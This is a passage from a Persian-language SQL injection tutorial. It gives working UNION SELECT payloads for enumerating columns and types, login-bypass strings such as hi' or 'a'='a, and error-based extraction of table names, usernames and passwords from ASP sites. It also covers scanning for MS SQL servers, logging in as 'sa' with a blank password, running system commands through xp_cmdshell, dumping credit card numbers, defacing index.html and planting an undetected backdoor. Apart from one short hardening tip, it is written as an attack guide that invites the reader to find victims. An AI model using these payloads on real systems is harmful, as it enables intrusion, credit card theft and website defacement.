در این لحظه، خطایی ایجاد می شـود و         ).  یا هر چیزی که مطمئن است، غیر معتبر است         1000یا  ( تغییر می دههد     100 به ستون    1ستون  

 . که عملیات شمارش کار می کندنشان می دهد 
اکنون، نفوذگر روشی در اختیار دارد تا تشخیص دهد که کدام شماره ستون وجود دارد و کدام شماره وجود ندارد و همچنین به                        

هـر بـار یـک شـماره را         . نفوذگر احتیاج به آن دارد که این عـدد را افـزایش دهـد             . سادگی می تواند تعداد صحیح ستون را تشخیص دهد        
همیشه توصـیه   . چون بعضی ستون ها ممکن است از نوعی باشند که امکان مرتب شدن ندارند             (افزایش دهد تا یک پیام خطا دریافت کند         

بـا ایـن تکنیـک، تعـداد فیلـدها      ). می شود که یک یا دو عدد اضافی آزمایش شوند و اطمینان حاصل شود که خطایی دریافـت شـده اسـت                   
 .گر نیاز نیستندشمارش شده و پیام های خطا دی

 

 تشخیص نوع ستون ها
به این ترتیب، در صورت در اختیار داشتن ساختار صحیح، فروشنده بانک اطلاعاتی و تعداد فیلدهای شمارش شـده، چیـزی کـه                     

نـوع  .  شـد اگرچه، تعیین نوع فیلدها نیز بـا حقـه بـازی انجـام خواهـد     . برای نفوذگر باقی می ماند آن است که نوع فیلدها را شناسایی کند      
اگر چنانچه تنها چند فیلد موجود باشـند، ایـن کـار بـه سـادگی مـی توانـد بـه کمـک                       . فیلدها بایستی با گزارش اولیه مطابقت داشته باشند       

: همان طور کـه در قبـل متـذکر شـدیم    . اما اگر تعداد فیلدها بیشتر باشد، مشکلاتی بوجود خواهد آمد.  انجام شودBrute Forceعملیات 
  رشته ای و تاریخی–عددی : ساسی در فیلدها وجود دارندسه نوع ا

 تقاضا در   20پس وقتی که    . وجود دارد )  مقدار 60000تقریبا  ( ترکیب   310 فیلد به این معناست که تعداد        10بنابراین، داشتن   
فرآیند کلی را مختل و غیر ممکـن  در صورتی که تعداد فیلدها بیشتر از این باشد، .  ساعت وقت خواهد گرفت1ثانیه داشته باشیم، تقریبا    

 NULLوقتی که در تاریکی کار می کنیم، لازم است که روش ساده تری را مـورد اسـتفاده قـرار بـدهیم کـه بـه صـورت        . خواهد ساخت

Keyword    ها در SQL   همچون یک رشته یا یک عدد (برخلاف تزریق در فیلدهای ایستا که از یک نوع مشخص هستند       .  ظاهر می شوند
 را تزریـق کـرد کـه    UNION SELECTبنابراین می توان یک عبارت یا جملـه  .  با همه انواع آن سازگار استNULL، عبارت )صحیح

اجـازه بدهیـد کـه یـک گـزارش شـبیه مثـال         .  باشند و در نتیجه هیچ نوع پیام خطای عدم تطبیق ظاهر نشود            NULLتمامی فیلدها در آن     
 :پیشین را ذکر نمائیم

SELECT CCNum,CCType,CCExp,CCName FROM CreditCards 
WHERE (AccNum=11223344 AND CardState=’Active’) 
AND UserName=’johndoe’ 
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با . بنابراین ما فیلدهای بیشتری را خواهیم داشت      .  با چند فیلد دیگر جایگزین شده است       CCNumتنها تغییر آن است که فیلد       
، هم اکنون   ) تا 4در این مثال    (انسته تعداد ستون های نتیجه ی این گزارش را شمارش کند            فرض اینکه نفوذگر به طور موفقیت آمیزی تو       

 را داشته باشـد کـه باعـث مـی شـود             FROM ها تزریق کرده و یک عبارت        NULL را با تمامی     UNIONبه سادگی می تواند یک جمله       
دا کردن هر مشکل و مورد، بنابراین مشکلات مخصـوص  همچنین، تلاش برای ج( ها تولید نشوند Permission Errorخطاهای مجوز یا 

 ).  خواهند شدhandleدر آینده کالبد شکافی و ) Permission Issues(مجوزها 
، Oracleدر .  را می توان به سادگی حذف کرد کـه یـک سـاختار درسـت و معتبـر خواهـد بـود       FROM، عبارت MS SQLدر 

: از قبیل ( که همیشه به صورت غلط ارزیابی می شود          WHEREاضافه کردن جمله    . بود مفید خواهد    DUALاستفاده از یک جدول به نام       
WHERE 1=2 ( این تضمین را به ما می دهد که هیچrecord-set حاوی ارزش صفر )NULL (    برنخواهد گشت و در نتیجـه پیـام هـای

اجازه بدهید که یـک نگـاهی       ). تی کار نمی کنند    به درس  NULL ها، با ارزش     applicationبعضی از   (خطای احتمالی را حذف خواهد کرد       
 : نیز صدق خواهد کردOracle داشته باشیم، اگرچه که همین ها در مورد MS SQL Serverبه مثال 
 : منجر به گزارش زیر خواهد شد– UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 (11223344تزریق 

SELECT CCNum,CCType,CCExp,CCName FROM CreditCards 
WHERE (AccNum=11223344) UNION SELECT NULL,NULL,NULL,NULL 
WHERE 1=2 --AND CardState=’Active’) AND UserName=’johndoe’ 
 

 کارآمد می باشد    UNIONهدف اصلی به دست آوردن یک عبارت        . ، دو هدف را دنبال می کند      NULLاین نوع از تزریق های      
 هنوز هیچ گونه از داده های واقعی را برداشت نمی کند، آن علامتی را فراهم می سـازد                   UNIONگرچه این   . که پیام خطایی نداشته باشد    

 صددرصـدی از  100 خالی، به دست آوردن یک تشـخیص و شناسـایی   UNIONهدف دیگر این . که جمله براستی و درستی کار می کند   
در عبـارت  ) Vendor-Specific Table Name(مشخص شده -جدول فروشندهبا استفاده از نام (بانک اطلاعاتی مورد استفاده می باشد 

FROM.( 
.  کار می کنند، تشخیص نوع هر یک از ستون ها کاری بیهوده و عبث مـی باشـد                  NULL مبتنی بر    UNIONهنگامی که جملات    

بـرای هـر فیلـد هـر سـه نـوع،       .  گیـرد ، یک فیلد تنها برای نوع آن فیلد مورد آزمایش قـرار مـی             )iteration –تکرار  (در هر مرور مجدد     
ایـن روش، سـه بـه تـوان     . عددی، صحیح و رشته ای مورد آزمایش قرار می گیرند و یکی از آنها مصداق پیدا خواهد کرد و کـار مـی کنـد      

رشـته ای   یک عدد صحیح باشد و همه فیلدها از نوع         CCNumبا فرض اینکه    . تعداد ستون ها خواهد بود و نه سه ضربدر تعداد ستون ها           
 : های زیر، به عنوان انواع معتبر شناخته می شوندUNIONباشند، جریان 

• 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –- 
No Error - Syntax is right. MS SQL Server Used. Proceeding. 
• 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –- 
No Error – First column is an integer. 
• 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –- 
Error! – Second column is not an integer. 
• 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –- 
No Error – Second column is a string. 
• 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –- 
Error! – Third column is not an integer. 
• 11223344) UNION SELECT 1,’2’,’3’,NULL WHERE 1=2 –- 
No Error – Third column is a string. 
• 11223344) UNION SELECT 1,’2’,’3’,4 WHERE 1=2 –- 
Error! – Fourth column is not an integer. 
• 11223344) UNION SELECT 1,’2’,’3’,’4’ WHERE 1=2 –- 
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No Error – Fourth column is a string. 
 

با استفاده از اعـداد افزایشـی ایـن امکـان هسـت کـه               .  حقیقی و واقعی را برقرار کرده است       UNIONنفوذگر اکنون، یک جمله     
ن رها شده اند در حقیقت می تواننـد ایـن را            همه آنهایی که هم اکنو    . بتوانیم تشخیص دهیم که کدام یک از فیلدها در آنجام موجود است           

همچـون  (به این منظور، تزریـــق را می تـوان اسـتفاده کـرد و اطلاعـات را جـداول سیسـتمی                    . برای هدف حمله مورد استفاده قرار بدهند      
 . را برداشت کرد) لیست جداول و ستون های آنها
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 SQL Injectionابتدایی برای توضیحاتی : 3بخش 
 

 :بخش از مقاله به دو قسمت اصلی تقسیم شده استاین 

 )HTTP (80استفاده از پورت  .1
 )MS SQL (1434استفاده از پورت  .2

 
 :HTTP – 80استفاده از پورت : قسمت اول

یک اشتباه بـزرگ کـه      .  گیرد  نیز قرار  webاین قسمت نه تنها برای نفوذگران مفید می باشد بلکه می تواند مورد توجه طراحان                
 آشـکار  نفـوذگر  صورت می گیرد آن است که می توانند بانک های اطلاعاتی را از سـرور بـرای   Web Designerتوسط طراحان وب یا 

کل بازی این متد کارکردن با رشتــــه های گزارشی و سـوال و جـواب مـی باشـد کـه بـه       . کنند و به صورت واضح تر تعییــن هویت کنند 
ایـن متـد   .  داردASP و queryبنابراین در این مقاله فرض شده که خواننده این مقاله اطلاعاتی درباره .  می گوییمQuery Stringا آنه

پس شـما بـه هـیچ ابـزار         .  انجام می شود یعنی نقش ارسال دستورات و دریافت نتایج بر عهده مرورگر می باشد               browserتنها به وسیله    
 Login کـه بـه آن   Loginبرای ایجـاد یـک صـفحه ی    .  می باشدNetscape یا IEنها ابزار مورد نیاز در این متد اضافی نیاز ندارید و ت

Page       این کدها مستقیما از سایت ( میگوئیم، معمولا طراحان وب کدهای زیر را در نظر می گیرندiranbin.com مـورخ  – کپی شده اند 
27/6/1383:( 

 
login.htm: 
 
<html> 
<body> 
<form method=get action="logincheck.asp"> 
<input type="text" name="login_name"> 
<input type="text" name="pass"> 
<input type="submit" value="sign in"> 
</form> 
</body> 
</html> 
 
 
logincheck.asp: 
 
<@language="vbscript"> 
<% 
dim conn,rs,log,pwd 
log=Request.form("login_name") 
pwd=Request.form("pass") 
 
set conn = Server.CreateObject("ADODB.Connection") 
conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data source=c:\folder\multiplex.mdb" 
conn.Open 
set rs = Server.CreateObject("ADODB.Recordset") 
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn 
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If rs.EOF 
            response.write("Login failed") 
else 
            response.write("Login successful") 
End if 
%> 
 

روال کار این اسـکریپت یـا       . ست و بی نقص است    با نظر به کدهای فوق در نگاه اول به این نتیجه می رسیم که همه چیز کاملا در                 
 : این دو صفحه را به این صورت تفسیر می کنمDebugging/Resultingبه اصطلاح 
 

ارزش هـا و مقـادیر      .  کلیک می کنـد    Submit وارد کرده و روی دکمه       login.htmیک کاربر نام کاربری و رمزعبور خود را در          
که به اصطلاح می گوئیم مقادیر وارد شـده بـه   ( عبور داده خواهد شد logincheck.aspبه صفحه ) text box(وارد شده در جعبه متن ها 

logincheck.asp ،pass کــه در آنجــا بــه وســیله ) مــی شــودquery stringاگــر مقــدار وارد شــده بــه وســیله .  هــا چــک خواهــد شــد
logincheck.asp مورد تایید واقع نشد و به آخرین خطهای scriptرسیدید، پیامی مبنی بر  در صفحه Login Failed   دریافـت خواهیـد 

آیا واقعـا همـه   ! یه بار دیگه فکر کن. ولی یه لحظه صبر کن    . همه چیز در این دو اسکریپت کاملا خوب و بدون نقص به نظر می آیند              . کرد
  چطور؟ آیا واقعا بدون نقص کار می کنه؟queryدرباره ! چیز بدون نقصه؟

 را بدون داشتن    loginنند این مثال درست کرده اید، باید گفت که یک نفوذگر به راحتی می تواند عملیات                 اگر شما صفحه ای ما    
passwordچطور این کار ممکن هست؟ بیایید یک بار دیگه به .  و رمزعبور انجام دهدqueryنگاه کنیم : 

"Select * from table1 where login='"&log& "' and password='" &pwd& "' " 
 

 وارد کنـد، مقـدارهای در نظـر         ”test123“ و رمزعبـور خـود را        ”dangerous-wolf“اکنون اگر یک کاربر نام کاربری خود را         
 : می شوند و اکنون خط گزارش فوق به این صورت تغییر خواهد یافتASP ،pass به صفحه POSTگرفته شده با استفاده از متد 

"Select * from table1 where login=' dangerous-wolf ' and password=' test123 ' " 
 

 در بانک اطلاعاتی وارد شـده انـد   password و login name در رشته های test123 و dangerous-wolfدر اینجا مقدارهای 
مـن نـام کـاربری را    اکنون، چه اتفـاقی خواهـد افتـاد اگـر     .  دریافت خواهیم کردLogin Successfulبنابراین ما یک پیام مبنی با عنوان 

dangerous-wolf وارد کنم و رمزعبور خود را hi' or 'a'='a  در نظر بگیرم؟  
User Name: dangerous-wolf 
Password: hi' or 'a'='a 
 

 :درنتیجه گزارش به صورت زیر تغییر خواهد کرد
"Select * from table1 where login=' dangerous-wolf ' and password=' hi' or 'a'='a ' "  
 

 را دیدید؟ در واقع این موفقیت از بی دقتـی  نفوذگرآیا زیرکی  !!! Finish the Game را فشار می دهیم و Submitاکنون کلید 
 باشد و سپس بایـد  'hi' or 'a'  از این پس شکل دیگری به خود می گیرد و رمزعبور باید queryگزارش و . طراحان وب نشأت می گیرد

 اساسـا   loginپس شرط این    .  خواهد بود  'a'='a' نخواهد بود اما در همان زمان        'hi'به طور واضح رمزعبور     .  در نظر گرفته شود    'a'برابر با     
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اگر کد فوق در بعضــی از وب سایت ها کـار نکـرد، مـی توانیـد                 !!  داخل سیستم می شود    dangerous-wolf با   نفوذگرتغییر یافت و یک     
 : را برای رمزعبور چک کنیدعبارت های لیست شده در زیر

 
hi" or "a"="a 
hi" or 1=1 -- 
hi' or 1=1 -- 
hi' or 'a'='a 
hi') or ('a'='a 
hi") or ("a"="a 
 

 ها query stringایجاد خواهد کرد که ) کلمه ای بهتر از مقر برای این توضیح نتونستم پیدا کنم( یک مقری --در فوق علامات 
به سادگی شما می توانید از دو عبارت زیر یا کلا چنین گونه های              . ند و دیگردستورات چک نخواهند شد      شناخته شو  commentبه عنوان   

 : را بدهدlogin استفاده کنید که به شما اجازه :Password و :Login Nameممکنی در 
dangerous-wolf ' -- 
dangerous-wolf " -- 

 
اگـر شمــا بـه انـدازه کـافی      .  شناخته خواهـد شـد  dangerous-wolfنوان  به عlogin name ها تنها query stringچرا که در 

خوش شانس باشید، سایتی را پیدا خواهید کرد که طراح آن چنین اشتباهی را در طراحی آن کرده و در این هنگام شما قادر خواهید بـود                           
 . می باشدadmin سایت، یوزر مدیر یا که مسلما یکی از مهم ترین یوزرهای یک.  کنیدloginکه با هر نام کاربری به سایت 

 
User Name: admin 
Password: hi' or 'a'='a 

 
سـایت هـای   . متاسفانه بسیاری از مدیران و طراحان سایت از کدهای پیش فرض و آماده برای طراحی سایت استفاده مـی کننـد                 

در حـالی کـه ایـن کـدها مشـکل دار            (ما قـرار مـی دهنـد        بسیاری در اینترنت خواهید یافت که این کدها را به صورت رایگان در اختیار ش              
 .پس مقداری مواظب باشید و این نقص را برطرف سازید... .  و Dynamic Driveمانند ). میباشند

 

 ODBCهک پیشرفته بانک های اطلاعاتی با استفاده از پیام های خطای تولید شده از 
اکنون با هم می بینیم که چطـور مـی تـوان کـل              .  را انجام دهیم   loginیات  در بالا ما دیدیم که چطور بدون دانستن رمزعبور عمل         
 یـا   IISامـا نـــکته اینجاسـت کـه ایـن روش تنهـا بـر روی                 !!  خوانـد  URLبانـــــک اطـــــلاعاتی را تنها با استفــــاده از گـزارش هـا در              

Internet Information Service کار می کند که صفحات ASPفروشگاه هـای آنلایـن   %35 شاید بدانید که حدود . مثالی از آن است 
شاید تا حالا چیزی مثل     . بنابراین شما قطعا پس از یک سرچ کوچک در وب سایت ها یک قربانی خواهید داشت               .  استفاده می کنند   IISاز  

 ): تعویض شده استsite-nameنام سایت واقعی بتابه دلایلی با ( ها دیده باشید URLزیر در میان 
 
http://www.site-name.com/mypage.asp?id=45 
 

 pass کـه بـه صـورت مخفـی اسـت            datatype در   ID به یک    45مقدار  . به کار می رود    بعد از آن   به معنی    URL در   ?علامت  
 و آن  سـروکار داشـت    pass و   login_name دیدیم که، با دو نوع نوشته با نام های           login.htmباید گفت که ما در مثال بالا در         . میشود
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 بـه کـار رود، همـان کـار       ”method=”get عبارت   ”method=”postاگر به جای    .  میشد logincheck.asp  ،passمقدارها به صفحه    
 :برای مثال.  انجام شودlogincheck.aspمی تواند به صورت مستقیم به وسیله بازکردن صفحه 

 
http://www.site-name.com/logincheck.asp?login_name=dangerous_wolf&pass=test123 

 
 تا زمـانی کـه   URL به صفحه بعدی را در passed value مقادیر عبور داده شده یا post این است که post و getتفاوت بین متد  :توجه
 را از http کار می کننـد پروتکـل   از درونبرای درک بیشتر درباره اینکه چطور آنها .  این مقدارها را نشان دهد، نمایش نمی دهد  getمتد  

RFC 1945  وRFC 2616 که در آینده بحث بسیار بسیار مفصلی در این باره خواهیم داشت( بخوانید.( 
، مقادیــــــری که برای اسـتفاده در صـفحه بعــــد بـه کـار مـی رونـد، بـه          ?چیزی که من می خواهم بگویم این است که بعد از            

 از  & تخصیص یافته و مقادیر جدا از هم به وسـیله            dangerous-wolf به عبارت    login_nameدر بالا   . ارزش های ما اختصاص می یابند     
 . هم جدا میشوند

 در آن   IDمقـدار   .  بیشتر مخفی می باشد و بر اساس لینکی که شما بر روی آن کلیک می کنید، تغییـر مـی کنـد                      ID: به عقب بر میگردیم   
 screenو بر اسـاس نتـایج شـما صـفحه مـورد نظـر را در       )  می شود pass(، گذر داده می شود      mypage.asp، در صفحه    queryهنگام به   

اکنـون بـا هـم      .  تغییر دهیم، آن وقت صـفحه ای متفـاوت را دریافـت خواهیـد کـرد                46 را به    IDاکنون، اگر تنها مقدار     . دریافت می کنید  
 : وارد می کنیمaddress bar در تنها عبارت زیر را. بیائید از گزارش ها استفاده کنیم.  بپردازیمDBمیخواهیم به هک 

 
http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM 
INFORMATION_SCHEMA.TABLES-- 
 

INFORMATION_SCHEMA.TABLES     یک جدول و table                سیستمی مـی باشـد و حـاوی تمـامی اطلاعـات موجـود در 
 نیز یافت می شود که حـاوی تمـامی نـام هـای موجـود در تمـامی                   TABLE_NAMEفوق عبارت   در لینک   . جداول روی سرور می باشد    

 : را یک بار دیگر ببینیدqueryاکنون گزارش و . جدول ها می باشد
 
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES 
 

اما نتیجه ای کـه مـا مـی گیـریم     . د شد دریافت خواهINFORMATION_SCHEMAنتیجه این گزارش، نام اولین جدول از     
 UNION  ،uniting بـه وسـیله      (integer)45 می باشد دریافت می کنیم و ما آنرا بـا            string(nvarchar)این است که یک نام جدول که        

قالـه آنـرا بـا      که به این از این پس خروجی دستور می گـوئیم و مـن در ایـن م                 (پس ما یک پیام خطا مانند زیر دریافت می کنیم           . می کنیم 
 ): ممیز کرده امoutputنشان 

 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server 
Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type 
int. /mypage.asp, line 
 

با کمی دقـت    .  می باشد  logintable، دارای نام    tableپیام ظاهر شده در فوق کاملا و به وضوح روشن است که اولین جدول و                از  
عبارت زیر را . پس با هم به داخل آن می رویم.  ها باشدpassword ها و login nameدر نام جدول به نظر می آید که این جدول شامل 

 : تایپ می کنیمAddress Barدر 
 



 

Page 16 of 77                                                             ( SQL Injection Tutorial by Dangerous Wolf ) 

 

http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM 
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-- 
 
Output: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar 
value 'login_id' to a column of data type int. 
/index.asp, line 5 
 

بـرای بـه دسـت      .  می باشد  logintable  ،login_idدر جدول   ) column( یا ستون    fieldپیام خطای بالا نشان می دهد که اولین         
 :رد می کنیمآوردن نام ستون بعدی در جدول عبارت زیر را وا

 
http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM 
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE 
COLUMN_NAME NOT IN ('login_id')-- 
 
Output: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar 
value 'login_name' to a column of data type int. 
/index.asp, line 5 
 

ی بـرای بـه دسـت آوردن نـام سـتون بعـد            .  می باشد  login_nameبا توجه به خروجی ظاهر شده می بینیم که نام ستون بعدی             
 :عبارت زیر را وارد می کنیم

 
http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM 
INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE 
COLUMN_NAME NOT IN ('login_id','login_name')-- 
 
Output: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar 
value 'passwd' to a column of data type int. 
/index.asp, line 5 
 

 هـا را از ایـن جـدول یعنـی     passwordها و  login nameاکنون بیایید با هم .  را به دست آوردیمpasswdما بالاخره فیلد ! بله
logintableعبارت زیر را وارد می کنیم.  به دست بیاوریم: 

 
http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable-- 
 
Output: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar 
value 'Rahul' to a column of data type int. 
/index.asp, line 5 
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برای به دست آوردن پسورد این یوزر از عبارت زیر استفاده .  استRahul در اینجا کلمه login nameهمان طور که می بینیم 

 : کنیممی
 

http://www.site-name.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable 
where login_name='Rahul'-- 
 
Output: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e07' 
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar 
value 'P455w0rd' to a column of data type int. 
/index.asp, line 5 

 
 :اکنون کارهای انجام شده به صورت دو خط زیر خلاصه میشود. پسورد را هم به دست آوردیم! عالی شد

 
Login Name: Rahul 
Password: P455w0rd 
 

 هنـوز در بسـیاری از وبسـایت هـا یافـت      SQLآسـیب پـذیری هـای    . رک کنیـد  سایت را کDBنستید بانک اطلاعاتی یا    اشما تو 
 .میشوند

  
 )SQLپورت  (1434استفاده از پورت : قسمت دوم

 های ناقص در هـم شکسـت و بـه آن نفـوذ     URLدر قسمت قبل فهمیدیم که چطور می توان یک بانک اطلاعاتی را با استفاده از      
در حالی که ما در ایـن قسـمت از مقالـه مـی خـواهیم بـا اسـتفاده از        . انجام شده بود) http (80رت اما آن روش فقط با استفاده از پو    . کرد

 چه هسـتند و  DB Serversقبل از آن ما خواهیم دید که واقعا سرورهای بانک اطلاعاتی یا .  برای نفوذ و هک استفاده کنیم1434پورت 
 !!یم چطور کار می کنند و آن وقت چطور آنها را اکسپلویت کن

 برخی روش های پیش فرض ذخیره شده را همراه با محصول ارائه داد تا بعضی چیزهـا را بـرای طراحـان وب    MS SQLطراح 
چیز خاصی نیست اما توابعی که می توانند برای انجـام دادن بعضـی کارهـا بـر     ) رویه کار(طرز عمل .  کند flexibleراحت تر و به اصطلاح      

بعضـی از   . ها خیلی مهم هستند    نفوذگرپس این رویه ها برای      .  به آنها استفاده شوند مقداری مهم هستند        شده passومان های   ــروی آرگ 
 :مهم ترین آنها را در زیر می بینید

 
sp_password: 

 )معین( تعیین شده login nameتغییر پسورد برای یک کاربر یا 
 :مثال 

EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’ 
 

sp_tables: 
 نمایش تمامی جدول ها در بانک اطلاعاتی حاضر
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 :مثال 
EXEC sp_tables 
 

xp_cmdshell: 
 )مهم(اجرای دستورات بر روی ماشین با سطح دسترسی مدیر 

 
xp_msver: 

 .  نیز می شود OS که شامل همه اطلاعات درباره MS SQLنمایش نسخه سرور 
 :مثال 

master..xp_msver 
 

xp_regdeletekey: 
 Registry Keyحذف یک 

 
xp_regdeletevalue: 

 )مقدار و ارزش آن (Registry Valueحذف یک 
 

xp_regread: 
 registry value کردن یک readخواندن یا 

 
xp_regwrite: 

 registry key کردن یک writeنوشتن یا 

 
xp_terminate_process: 

 )پردازش( کردن یک پروسه STOPتوقف و 
 

اگـر  .  نوع از رویه ها وجـود دارنـد        50 از مهم ترین رویه ها و دستورالعمل ها بودند در حالی که در حقیقت بیشتر از                  اینها بعضی 
حقه در اینجا بـاز  . رویه ها را پاک کنیدتمامی این  شما قوی و برای نفوذ مشکل باشد من توصیه می کنم که MS SQLمی خواهید سرور 

 MS SQL Server Enterprise Manager هسـت کـه بـه آن    MSSQLSEMبـا اسـتفاده از   ) Master(کردن بانک اطلاعـاتی اصـلی   
کلیک کـردن و انتخـاب   - کنید و رویه های موجود را با رایتexpand را باز یا Extended Stores Proceduresاکنون شاخه . میگویند

 .  پاک کنیدDeleteگزینه 
 

 و رویـه هـای   login name می باشد که شامل تمامی اطلاعات سیستمی نظیـر  SQL Server یک بانک اطلاعاتی مهم در Master: توجه
را پـاک کنـد، در آن هنگـام    ) Master DB( این بانـک اطلاعـاتی اصـلی    نفوذگربنابراین اگر یک . می باشد) SSP(سیستمی ذخیره شده 
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SQL Server برای همیشه Down خواهد شد  !!syslogins   ه شـامل   جدول پیش فـرض سیسـتمی اسـت ک ـuser name و password 
 . ها در بانک اطلاعاتی می باشدloginهای 

 
 مـی باشـد و ایـن    blank دارد که پسورد آن نیز saیک یوزرنیم پیش فرض با نام ) Microsoft SQL) MS SQL Server سرور :خطر

 نیـز دربـاره ایـن آسـیب پـذیری نیـز       حتی یک ویروس!!!  را در گذشته ویران کرده است MS SQLنکته کوچک بسیاری از سرورهای 
 !!منتشر شده است 

 
یـک پـورت اسـکنر خـوب        . ابتدای کار ما باید یک سرور آسیب پذیر را پیـدا کنـیم            . اکنون شروع به نفوذ می کنیم     !!  کافی است 

 هـا  IP Addressو ) دالبته یک تغییراتی باید بدی( رو پیشنهاد می کنم NMAPکه من )  به وفور یافت می شوندWWWدر (دانلود کنید 
.  را اجـرا مـی کنـد   SQL می باشـد کـه سـرویس    MS SQLاین پورت .  چک کنیدUDP 1434 و TCP 1433را برای باز بودن پورت 

 پیـدا   198.188.178.1 مـثلا    IPبیایید فرض کنیم که ما یک سرور آسیب پذیر بـا آدرس             .  می باشد  1521 معمولا   Oracleشماره پورت   
 ). ☺ امتحان نکنید IPهست، پس روی این این یک مثال (کردیم 

 برای وصـل شـدن بـه        netcat کردن یا استفاده از      telnet وجود دارد؛ مثلا     SQLراه های بسیار زیادی برای استفاده از سرویس         
. واهـد کـرد    کـار خ   SQL استفاده کنید که با هر سرور        osql.exeشما همچنین می توانید از یک ابزار مثل         . 1433/1434 با پورت    IPاین  

 : می رویم و عبارت زیر را تایپ می کنیمCommand Promptاکنون به 
C:/>osql.exe -? 
osql: unknown option ? 
usage: osql              [-U login id]          [-P password] 
  [-S server]            [-H hostname]          [-E trusted connection] 
  [-d use database name] [-l login timeout]     [-t query timeout] 
  [-h headers]           [-s colseparator]      [-w columnwidth] 
  [-a packetsize]        [-e echo input]        [-I Enable Quoted Identifiers] 
  [-L list servers]      [-c cmdend] 
  [-q "cmdline query"]   [-Q "cmdline query" and exit] 
  [-n remove numbering]  [-m errorlevel] 
  [-r msgs to stderr]    [-V severitylevel] 
  [-i inputfile]         [-o outputfile] 
  [-p print statistics]  [-b On error batch abort] 
  [-O use Old ISQL behavior disables the following] 
      <EOF> batch processing 
      Auto console width scaling 
      Wide messages 
      default errorlevel is -1 vs 1 
  [-? show syntax summary] 
 

اپ شـده  اکنون با توجـه بـه راهنمـای چ ـ      . همان طور که دیدید انجام دستور فوق باعث نمایش راهنمای این ابزار می شود             ! خوب
 :عبارت زیر را تایپ می کنیم. واضح هست که اکنون چه کار باید انجام دهیم

C:\> osql.exe –S 198.188.178.1 –U sa –P “” 
 

 ما به خوبی و با موفقیت انجام شود ما اعلان داس خود را چیزی مانند زیر خواهیم دید در غیر این                      loginدر صورتی که عملیات     
 :اعلان داس چنین است.  یا چیزی شبیه به آن دریافت خواهیم کردLogin Failedصورت پیامی با عنوان 
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1> 
 

  اجــرا کنــیم کــافی اســت از رویــه پــیش فــرض  remoteاکنــون اگــر مــا بخــواهیم هــر دســتوری را روی ماشــین بــه صــورت   
xp_cmdshellکه ذخیره شده است، استفاده کنیم  . 

 
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’” 
 

بـه همـین روش     .  استفاده کنم چرا که بعد از اجرای گزارش خارج می شود           Q– از   q–من ترجیح می دهم که به جای استفاده از          
مپیوتر آپلود کنیم یـا فـایلی       ما حتی می توانیم هر فایلی را به کا        .  اجرا کنیم  remoteما می توانیم هر دستوری را روی کامپیوتر به صورت           

 روی کامپیوتر قربانی نصب می کند چرا که دسترسی خود را      backdoor با هوش معمولا یک      نفوذگریک نفوذگر و    . را از آن دانلود کنیم    
) !! then we have life مـی کنـیم و   Undetectیک تروجان را تنظیم کرده و سپس آنرا (به این کامپیوتر برای بعد نیز تضمین می کند 

 برای گرفتن لیست جـدول هـا و محتـوای آنهـا اسـتفاده         information_schema.tablesاکنون همان طور که توضیح دادم می توانیم از          
 .کنیم

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables” 
 

، loginدر این بین باید بـه دنبـال نـام هـایی ماننـد               . ا به دست خواهیم آورد نام آنها می باشد        مطمئنا یکی از مواردی که در مورد جدول ه        
account ،users یا هر چیزی که به نظر می آید چیز مهمی از قبیل اطلاعات و شماره های CCدر آن باشد، بگردیم : 

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users” 
 :و خط زیر

C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users” 
 
Output: 
Username     creditcard                   expdate 
-----------      ------------                   ---------- 
Melody              5935023473209871   2004-10-03 00:00:00.000 
Redlof             5839203921948323   2004-07-02 00:00:00.000 
James        5732009850338493   2004-08-07 00:00:00.000 
Rozea          5738203981300410    2004-03-02 00:00:00.000 
 

بـه  ( باشـند    Defacing یا   index.htmlشاید بعضی ها به دنبال تغییر دادن        اما  . خوب ما کارت های اعتباری را به دست آوردیم        
 Be relax & doهسـتید  ...  اما به هر حال اگه بـه دنبـال مشـهور شـدن و     –نظر من روی سایت های در حد پائین این کار را انجام ندید 

this .( با هم تلاش برای تغییر دادن در فایلindex.htmlنیز می پردازیم : 
C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by dangerous-
wolf> C:\inetpub\wwwroot\index.html’” 
 

